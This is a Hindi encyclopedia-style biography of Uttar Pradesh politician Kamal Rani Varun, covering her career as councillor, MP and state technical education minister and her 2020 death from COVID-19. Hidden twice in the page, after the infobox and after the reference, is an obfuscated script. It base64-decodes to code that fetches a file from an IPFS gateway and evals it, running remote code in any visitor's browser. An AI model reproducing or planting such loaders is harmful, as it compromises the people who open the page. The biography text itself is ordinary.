कमल रानी वरुण

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कमल रानी वरुण
कमल रानी वरुण
पूरा नाम कमल रानी वरुण
जन्म 3 मई, 1958
जन्म भूमि लखनऊ, उत्तर प्रदेश
मृत्यु 2 अगस्त, 2020
मृत्यु स्थान लखनऊ, उत्तर प्रदेश
पति/पत्नी किशन लाल वरुण
संतान एक पुत्री
नागरिकता भारतीय
प्रसिद्धि राजनीतिज्ञ
पार्टी भारतीय जनता पार्टी
पद प्राविधिक शिक्षा मंत्री, उत्तर प्रदेश
कार्य काल 21 अगस्त 2019 से 2 अगस्त 2020
शिक्षा एम.ए. (समाजशास्त्र)
चुनाव क्षेत्र घाटमपुर
अन्य जानकारी 1989 में भाजपा ने कमल रानी वरुण को शहर के द्वारिकापुरी वार्ड से कानपुर पार्षद का टिकट दिया था। चुनाव जीत कर नगर निगम पहुंची कमल रानी 1995 में दोबारा उसी वार्ड से पार्षद निर्वाचित हुई थीं।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>कमल रानी वरुण (अंग्रेज़ी: Kamal Rani Varun, जन्म- 3 मई, 1958; मृत्यु- 2 अगस्त, 2020) भारतीय जनता पार्टी से जुड़ी उत्तर प्रदेश सरकार में जानीमानी राजनीतिज्ञ और कैबिनेट मंत्री थीं। वह उत्तर प्रदेश विधानसभा की सदस्य थीं। कमल रानी वरुण ग्यारहवीं और बारहवीं लोकसभा की सदस्य भी थीं। वर्ष 1989 में भाजपा ने उन्हें द्वारिकापुरी वार्ड से कानपुर पार्षद का टिकट दिया था। चुनाव जीत कर नगर निगम पहुंची कमल रानी वरुण 1995 में दोबारा उसी वार्ड से पार्षद निर्वाचित हुई थीं।

परिचय

लखनऊ में 3 मई 1958 को जन्म लेने वाली कमल रानी वरुण का विवाह 25 मई 1975 को किशन लाल वरुण से हुआ था। कमल रानी वरुण ने बूथ पर घूंघट में मतदाता पर्ची काटने से राजनीति की सीढ़ी चढ़नी शुरू की और सांसद-विधायक बनने के साथ प्रदेश की मंत्री तक का सफर तय किया। योगी आदित्यनाथ सरकार में कैबिनेट मंत्री के पद की शपथ लेने वाली कमल रानी वरुण का विवाह एलआईसी में प्रशासनिक अधिकारी किशन लाल से हुआ जो कि राष्ट्रीय स्वयंसेवक संघ के प्रतिबद्ध स्वयंसेवक थे। बहू बनकर कानपुर आईं कमल रानी ने पहली बार 1977 के चुनाव में बूथ पर मतदाता पर्ची काटने के लिए घूंघट में घर की दहलीज पार की।[1]

राजनीतिक कॅरियर

समाजशास्त्र से एमए कमल रानी को पति किशन लाल ने प्रोत्साहित किया तो वह आरएसएस के मलिन बस्तियों में संचालित सेवा भारती के सेवा केंद्र में बच्चों को शिक्षा के साथ गरीब महिलाओं को सिलाई, कढ़ाई और बुनाई का प्रशिक्षण देती थीं। वर्ष 1989 में भाजपा ने उन्हेंं शहर के द्वारिकापुरी वार्ड से कानपुर पार्षद का टिकट दिया था। सभासद का चुनाव जीत कर नगर निगम पहुंची कमल रानी 1995 में दोबारा उसी वार्ड से पार्षद निर्वाचित हुई थीं। आरएसएस की सेवा भारती के बाद सक्रिय राजनीति में कदम रखने वाली कमल रानी वरुण 1988 में पहली बार सभासद चुनी गईं। इसके बाद दो बार लोकसभा भी पहुंचीं और विधानसभा चुनाव में जीत दर्ज करने के बाद उन्हेंं योगी आदित्यनाथ सरकार में प्राविधिक शिक्षा मंत्री बनने का गौरव हासिल हुआ।

राजनीतिक सितारे बुलंदी पर थे और कमल रानी घाटमपुर लोकसभा सीट से 1996 में लोकसभा में पहुंच गईं। लोकसभा का सत्र पूरा ना हो सका और 1998 में दोबारा चुनाव हुआ। इस चुनाव में भी पार्टी ने उन पर पूरा भरोसा दिखाया और कमल रानी वरुण ने भी जीत हासिल कर पार्टी का भरोसा कायम रखा। लगातार दूसरी बार लोकसभा का सत्र पूरा नहीं हुआ और अगले ही वर्ष 1999 में फिर लोकसभा का चुनाव हुआ। दो बार की विजयी कमल रानी इस चुनाव में बहुत ही करीबी संघर्ष में पराजित हो गईं। बसपा के प्यारेलाल शंखवार ने जीत हासिल की जबकि समाजवादी पार्टी की अरुण कुमारी उनसे करीब सौ वोट पीछे थीं। कमल रानी तीसरे नंबर पर रहीं। वह प्यारेलाल शंखवार से मात्र 500 वोटों के अंतर से पिछड़ीं। यह कमल रानी के लिए एक बड़ा झटका था।

प्राविधिक शिक्षा मंत्री

इसके बाद 2004 में पार्टी ने उन्हेंं टिकट नहीं दिया। 2009 का चुनाव आया परिसीमन बदल चुका था और घाटमपुर लोकसभा सीट खत्म हो गई थी। इसके बाद 2012 में पार्टी ने उन्हेंं रसूलाबाद से विधानसभा का टिकट दिया लेकिन वह चुनाव नहीं जीत सकीं। 2017 के चुनाव में जब नरेन्द्र मोदी लहर अपना कमाल दिखा रही थी और भाजपा पूरी मजबूती से आगे बढ़ रही थी उन्हेंं घाटमपुर विधानसभा सीट से टिकट मिला। उनके राजनीतिक सितारे फिर से चमके और घाटमपुर में जीत हासिल करने के बाद वह प्रदेश सरकार में प्राविधिक शिक्षा मंत्री भी बनीं। विधानसभा क्षेत्र में उनकी स्थिति थी कि राह चलते लोग भी उन्हेंं आवाज देकर रोक लेते थे और वह पूरी तन्मयता से उनकी बात सुन समस्याओं का निराकरण करती थीं।[1]

मृत्यु

कोरोना संक्रमण के कारण उत्तर प्रदेश की कैबिनेट मंत्री और कानपुर के घाटमपुर से विधायक कमल रानी वरुण की मृत्यु 2 अगस्त, 2020 को हुई। कोरोना संदिग्ध होने पर कमल रानी का 17 जुलाई को सैंपल लिया गया था। उनकी जांच सिविल अस्पताल में हुई थी, जिसमें वह कोरोना पॉजिटिव आयी थीं। इसके बाद स्वास्थ्य विभाग के अधिकारियों ने उन्हें लखनऊ के पीजीआइ अस्पताल में 17 जुलाई को भर्ती कराया था। उन्हें सांस लेने में तकलीफ के चलते आइसीयू में रखा गया था।

कानपुर के भैरोघाट स्थित विद्युत शवदाह गृह में दिवंगत मंत्री कमल रानी वरुण की अंत्येष्टि राजकीय सम्मान के साथ की गई। इस दौरान राष्ट्रपति रामनाथ कोविंद की ओर से मंत्री नीलिमा कटियार, राज्यपाल आनंदी बेन पटेल की ओर से सांसद देवेंद्र ङ्क्षसह भोले और मुख्यमंत्री योगी आदित्यनाथ की ओर से मंडलायुक्त डॉ. सुधीर एम बोबडे ने पुष्पगुच्छ अर्पित किया। इसके बाद भाजपा के पदाधिकारियों और विधायकों ने पुष्प अर्पित कर अंतिम विदाई दी।


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 कोरोना से यूपी सरकार की मंत्री कमल रानी वरुण का निधन (हिंदी) jagran.com। अभिगमन तिथि: 14 जनवरी, 2020।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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